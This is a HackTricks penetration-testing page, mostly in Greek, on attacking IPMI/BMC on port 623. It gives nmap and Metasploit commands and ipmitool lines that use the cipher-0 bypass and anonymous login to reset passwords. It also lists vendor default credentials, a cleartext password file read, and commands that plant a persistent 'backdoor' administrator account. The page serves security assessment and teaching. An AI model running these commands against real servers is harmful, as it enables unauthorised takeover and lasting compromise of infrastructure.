15 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Overview of IPMI
Intelligent Platform Management Interface (IPMI) προσφέρει μια τυποποιημένη προσέγγιση για την απομακρυσμένη διαχείριση και παρακολούθηση υπολογιστικών συστημάτων, ανεξάρτητα από το λειτουργικό σύστημα ή την κατάσταση τροφοδοσίας. Αυτή η τεχνολογία επιτρέπει στους διαχειριστές συστημάτων να διαχειρίζονται συστήματα απομακρυσμένα, ακόμη και όταν είναι απενεργοποιημένα ή μη ανταποκρινόμενα, και είναι ιδιαίτερα χρήσιμη για:
- Ρυθμίσεις εκκίνησης πριν από το λειτουργικό σύστημα
- Διαχείριση απενεργοποίησης
- Ανάκτηση από αποτυχίες συστήματος
Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, παράλληλα με την παροχή πληροφοριών αποθέματος, την ανασκόπηση καταγραφών υλικού και την αποστολή ειδοποιήσεων μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή τροφοδοσίας και μια σύνδεση LAN.
Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια στοιχεία περιλαμβάνουν:
- Baseboard Management Controller (BMC): Ο κύριος μικροελεγκτής για τις λειτουργίες IPMI.
- Communication Buses and Interfaces: Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.
- IPMI Memory: Για την αποθήκευση καταγραφών και δεδομένων.
Default Port: 623/UDP/TCP (Συνήθως είναι σε UDP αλλά μπορεί επίσης να λειτουργεί σε TCP)
Enumeration
Discovery
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Μπορείτε να εντοπίσετε την έκδοση χρησιμοποιώντας:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI Vulnerabilities
Στον τομέα του IPMI 2.0, μια σημαντική αδυναμία ασφαλείας αποκαλύφθηκε από τον Dan Farmer, εκθέτοντας μια ευπάθεια μέσω του cipher type 0. Αυτή η ευπάθεια, που τεκμηριώνεται λεπτομερώς στην έρευνα του Dan Farmer, επιτρέπει μη εξουσιοδοτημένη πρόσβαση με οποιονδήποτε κωδικό πρόσβασης εφόσον στοχευτεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορους BMCs από κατασκευαστές όπως οι HP, Dell και Supermicro, υποδηλώνοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις IPMI 2.0.
IPMI Authentication Bypass via Cipher 0
Για να ανιχνευθεί αυτή η αδυναμία, μπορεί να χρησιμοποιηθεί ο παρακάτω auxiliary scanner του Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
Η εκμετάλλευση αυτού του σφάλματος είναι εφικτή με το ipmitool
, όπως αποδεικνύεται παρακάτω, επιτρέποντας την καταγραφή και τροποποίηση των κωδικών πρόσβασης χρηστών:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
Αυτή η ευπάθεια επιτρέπει την ανάκτηση αλατισμένων κατακερματισμένων κωδικών πρόσβασης (MD5 και SHA1) για οποιοδήποτε υπάρχον όνομα χρήστη. Για να δοκιμάσετε αυτή την ευπάθεια, το Metasploit προσφέρει ένα module:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
IPMI Ανώνυμη Αυθεντικοποίηση
Μια προεπιλεγμένη ρύθμιση σε πολλές BMC επιτρέπει την "ανώνυμη" πρόσβαση, που χαρακτηρίζεται από κενές συμβολοσειρές ονόματος χρήστη και κωδικού πρόσβασης. Αυτή η ρύθμιση μπορεί να εκμεταλλευτεί για να επαναφέρει τους κωδικούς πρόσβασης των ονομασμένων λογαριασμών χρηστών χρησιμοποιώντας ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Clear-text Passwords
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το /nv/PSBlock
ή το /nv/PSStore
εγείρει σημαντικούς προβληματισμούς ασφαλείας:
cat /nv/PSBlock
Ευπάθεια UPnP IPMI Supermicro
Η συμπερίληψη ενός ακροατή SSDP UPnP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφαλείας. Οι ευπάθειες στο Intel SDK για συσκευές UPnP έκδοσης 1.3.1, όπως αναφέρεται στην αποκάλυψη της Rapid7, επιτρέπουν πρόσβαση root στο BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
Η HP τυχαία επιλέγει τον προεπιλεγμένο κωδικό πρόσβασης για το προϊόν Integrated Lights Out (iLO) κατά την κατασκευή. Αυτή η πρακτική αντιτίθεται σε άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν στατικά προεπιλεγμένα διαπιστευτήρια. Μια σύνοψη των προεπιλεγμένων ονομάτων χρηστών και κωδικών πρόσβασης για διάφορα προϊόντα παρέχεται ως εξής:
- HP Integrated Lights Out (iLO) χρησιμοποιεί μια εργοστασιακά τυχαία 8-χαρακτήρων αλφαριθμητική συμβολοσειρά ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας.
- Προϊόντα όπως το Dell's iDRAC, IBM's IMM και το Fujitsu's Integrated Remote Management Controller χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν) και "admin" αντίστοιχα.
- Ομοίως, Supermicro IPMI (2.0), Oracle/Sun ILOM και ASUS iKVM BMC χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους.
Accessing the Host via BMC
Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας init=/bin/sh
) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω του ipmitool
. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το Super I/O chip, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.
Introducing Backdoors into BMC from the Host
Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός backdoor λογαριασμού χρήστη, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του ipmitool
στον παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγών BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
References
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.